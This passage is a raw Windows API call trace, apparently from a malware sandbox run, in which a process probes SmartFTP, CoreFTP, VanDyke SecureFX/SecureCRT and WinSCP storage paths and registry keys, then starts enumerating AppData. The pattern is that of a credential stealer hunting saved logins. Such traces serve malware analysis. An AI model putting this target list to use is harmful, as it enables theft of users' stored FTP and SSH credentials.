lpFindFileData=0xefbdc) returned 0xffffffff [0047.392] LocalFree (hMem=0x7548d0) returned 0x0 [0047.392] LocalFree (hMem=0x754820) returned 0x0 [0047.392] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.392] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0047.392] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0047.392] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.392] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0047.392] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0047.392] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.392] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.392] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.392] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0047.392] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0047.392] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0047.392] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.392] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0047.393] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.393] lstrlenA (lpString="\\SmartFTP") returned 9 [0047.393] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756820 [0047.393] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.393] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\SmartFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP" [0047.393] LocalFree (hMem=0x7469f0) returned 0x0 [0047.393] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP") returned 48 [0047.393] lstrlenA (lpString="\\*.*") returned 4 [0047.393] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x7568e0 [0047.393] lstrcpyA (in: lpString1=0x7568e0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP" [0047.393] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP\\*.*" [0047.393] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP\\*.*", lpFindFileData=0xefbe4 | out: lpFindFileData=0xefbe4) returned 0xffffffff [0047.393] LocalFree (hMem=0x7568e0) returned 0x0 [0047.393] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP") returned 48 [0047.393] lstrlenA (lpString="\\*.*") returned 4 [0047.393] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x7568e0 [0047.393] lstrcpyA (in: lpString1=0x7568e0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP" [0047.393] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP\\*.*" [0047.393] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP\\*.*", lpFindFileData=0xefbe8 | out: lpFindFileData=0xefbe8) returned 0xffffffff [0047.393] LocalFree (hMem=0x7568e0) returned 0x0 [0047.393] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP") returned 48 [0047.393] lstrlenA (lpString="\\*.*") returned 4 [0047.393] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x7568e0 [0047.393] lstrcpyA (in: lpString1=0x7568e0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP" [0047.393] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP\\*.*" [0047.393] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\SmartFTP\\*.*", lpFindFileData=0xefbec | out: lpFindFileData=0xefbec) returned 0xffffffff [0047.393] LocalFree (hMem=0x7568e0) returned 0x0 [0047.393] LocalFree (hMem=0x756820) returned 0x0 [0047.393] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.393] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\ProgramData") returned 0x0 [0047.393] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.393] lstrlenA (lpString="\\SmartFTP") returned 9 [0047.393] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x716ef8 [0047.393] lstrcpyA (in: lpString1=0x716ef8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.393] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\SmartFTP" | out: lpString1="C:\\ProgramData\\SmartFTP") returned="C:\\ProgramData\\SmartFTP" [0047.393] LocalFree (hMem=0x7469f0) returned 0x0 [0047.393] lstrlenA (lpString="C:\\ProgramData\\SmartFTP") returned 23 [0047.393] lstrlenA (lpString="\\*.*") returned 4 [0047.393] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x758820 [0047.393] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData\\SmartFTP" | out: lpString1="C:\\ProgramData\\SmartFTP") returned="C:\\ProgramData\\SmartFTP" [0047.393] lstrcatA (in: lpString1="C:\\ProgramData\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\SmartFTP\\*.*") returned="C:\\ProgramData\\SmartFTP\\*.*" [0047.393] FindFirstFileA (in: lpFileName="C:\\ProgramData\\SmartFTP\\*.*", lpFindFileData=0xefbe4 | out: lpFindFileData=0xefbe4) returned 0xffffffff [0047.393] LocalFree (hMem=0x758820) returned 0x0 [0047.393] lstrlenA (lpString="C:\\ProgramData\\SmartFTP") returned 23 [0047.393] lstrlenA (lpString="\\*.*") returned 4 [0047.393] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x758820 [0047.393] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData\\SmartFTP" | out: lpString1="C:\\ProgramData\\SmartFTP") returned="C:\\ProgramData\\SmartFTP" [0047.394] lstrcatA (in: lpString1="C:\\ProgramData\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\SmartFTP\\*.*") returned="C:\\ProgramData\\SmartFTP\\*.*" [0047.394] FindFirstFileA (in: lpFileName="C:\\ProgramData\\SmartFTP\\*.*", lpFindFileData=0xefbe8 | out: lpFindFileData=0xefbe8) returned 0xffffffff [0047.394] LocalFree (hMem=0x758820) returned 0x0 [0047.394] lstrlenA (lpString="C:\\ProgramData\\SmartFTP") returned 23 [0047.394] lstrlenA (lpString="\\*.*") returned 4 [0047.394] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x758820 [0047.394] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData\\SmartFTP" | out: lpString1="C:\\ProgramData\\SmartFTP") returned="C:\\ProgramData\\SmartFTP" [0047.394] lstrcatA (in: lpString1="C:\\ProgramData\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\SmartFTP\\*.*") returned="C:\\ProgramData\\SmartFTP\\*.*" [0047.394] FindFirstFileA (in: lpFileName="C:\\ProgramData\\SmartFTP\\*.*", lpFindFileData=0xefbec | out: lpFindFileData=0xefbec) returned 0xffffffff [0047.394] LocalFree (hMem=0x758820) returned 0x0 [0047.394] LocalFree (hMem=0x716ef8) returned 0x0 [0047.394] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.394] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0047.394] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.394] lstrlenA (lpString="\\SmartFTP") returned 9 [0047.394] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x7508d8 [0047.394] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.394] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\SmartFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP" [0047.394] LocalFree (hMem=0x7469f0) returned 0x0 [0047.394] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP") returned 46 [0047.394] lstrlenA (lpString="\\*.*") returned 4 [0047.394] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.394] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP" [0047.394] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP\\*.*" [0047.394] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP\\*.*", lpFindFileData=0xefbe4 | out: lpFindFileData=0xefbe4) returned 0xffffffff [0047.394] LocalFree (hMem=0x756820) returned 0x0 [0047.394] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP") returned 46 [0047.394] lstrlenA (lpString="\\*.*") returned 4 [0047.394] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.394] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP" [0047.394] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP\\*.*" [0047.394] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP\\*.*", lpFindFileData=0xefbe8 | out: lpFindFileData=0xefbe8) returned 0xffffffff [0047.394] LocalFree (hMem=0x756820) returned 0x0 [0047.394] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP") returned 46 [0047.394] lstrlenA (lpString="\\*.*") returned 4 [0047.394] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.394] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP" [0047.394] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP\\*.*" [0047.394] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\SmartFTP\\*.*", lpFindFileData=0xefbec | out: lpFindFileData=0xefbec) returned 0xffffffff [0047.394] LocalFree (hMem=0x756820) returned 0x0 [0047.394] LocalFree (hMem=0x7508d8) returned 0x0 [0047.394] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.394] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0047.394] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0047.394] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.394] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0047.395] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0047.395] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.395] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.395] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.395] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0047.395] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0047.395] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0047.395] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\FTPWare\\COREFTP\\Sites", phkResult=0xefd60 | out: phkResult=0xefd60*=0x0) returned 0x2 [0047.395] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.395] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0047.395] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0047.395] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.395] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0047.395] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0047.395] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.395] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.395] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.395] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0047.395] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0047.395] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0047.395] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.395] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0047.395] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.395] lstrlenA (lpString="\\VanDyke\\Config\\Sessions") returned 24 [0047.395] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x74a670 [0047.395] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.395] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions" [0047.395] LocalFree (hMem=0x7469f0) returned 0x0 [0047.395] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions") returned 63 [0047.395] lstrlenA (lpString="\\*.*") returned 4 [0047.395] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x745b68 [0047.395] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions" [0047.395] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\*.*" [0047.395] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\*.*", lpFindFileData=0xefbc8 | out: lpFindFileData=0xefbc8) returned 0xffffffff [0047.395] LocalFree (hMem=0x745b68) returned 0x0 [0047.395] LocalFree (hMem=0x74a670) returned 0x0 [0047.395] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.395] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\ProgramData") returned 0x0 [0047.395] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.395] lstrlenA (lpString="\\VanDyke\\Config\\Sessions") returned 24 [0047.395] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.395] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.395] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\ProgramData\\VanDyke\\Config\\Sessions") returned="C:\\ProgramData\\VanDyke\\Config\\Sessions" [0047.395] LocalFree (hMem=0x7469f0) returned 0x0 [0047.395] lstrlenA (lpString="C:\\ProgramData\\VanDyke\\Config\\Sessions") returned 38 [0047.395] lstrlenA (lpString="\\*.*") returned 4 [0047.395] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x7508d8 [0047.395] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\ProgramData\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\ProgramData\\VanDyke\\Config\\Sessions") returned="C:\\ProgramData\\VanDyke\\Config\\Sessions" [0047.395] lstrcatA (in: lpString1="C:\\ProgramData\\VanDyke\\Config\\Sessions", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\VanDyke\\Config\\Sessions\\*.*") returned="C:\\ProgramData\\VanDyke\\Config\\Sessions\\*.*" [0047.395] FindFirstFileA (in: lpFileName="C:\\ProgramData\\VanDyke\\Config\\Sessions\\*.*", lpFindFileData=0xefbc8 | out: lpFindFileData=0xefbc8) returned 0xffffffff [0047.396] LocalFree (hMem=0x7508d8) returned 0x0 [0047.396] LocalFree (hMem=0x754820) returned 0x0 [0047.396] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.396] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0047.396] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.396] lstrlenA (lpString="\\VanDyke\\Config\\Sessions") returned 24 [0047.396] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a670 [0047.396] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.396] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions" [0047.396] LocalFree (hMem=0x7469f0) returned 0x0 [0047.396] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions") returned 61 [0047.396] lstrlenA (lpString="\\*.*") returned 4 [0047.396] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x745b68 [0047.396] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions" [0047.396] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions\\*.*" [0047.396] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions\\*.*", lpFindFileData=0xefbc8 | out: lpFindFileData=0xefbc8) returned 0xffffffff [0047.396] LocalFree (hMem=0x745b68) returned 0x0 [0047.396] LocalFree (hMem=0x74a670) returned 0x0 [0047.396] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\VanDyke\\SecureFX", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.396] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\VanDyke\\SecureFX", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.396] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\VanDyke\\SecureFX", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.396] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.396] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0047.396] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0047.396] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.396] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0047.396] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0047.396] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.396] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.396] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.396] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0047.396] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0047.396] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0047.396] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Martin Prikryl", phkResult=0xefd5c | out: phkResult=0xefd5c*=0x0) returned 0x2 [0047.396] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Martin Prikryl", phkResult=0xefd5c | out: phkResult=0xefd5c*=0x0) returned 0x2 [0047.396] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.396] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0047.396] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0047.396] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.396] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0047.397] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0047.397] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.397] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.397] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.397] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0047.397] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0047.397] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0047.397] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.397] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0047.397] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.397] lstrlenA (lpString="\\*.*") returned 4 [0047.397] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x7508d8 [0047.397] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.397] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\*.*" [0047.397] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\*.*", lpFindFileData=0xefc10 | out: lpFindFileData=0xefc10) returned 0x72dc90 [0047.397] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.397] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefc10 | out: 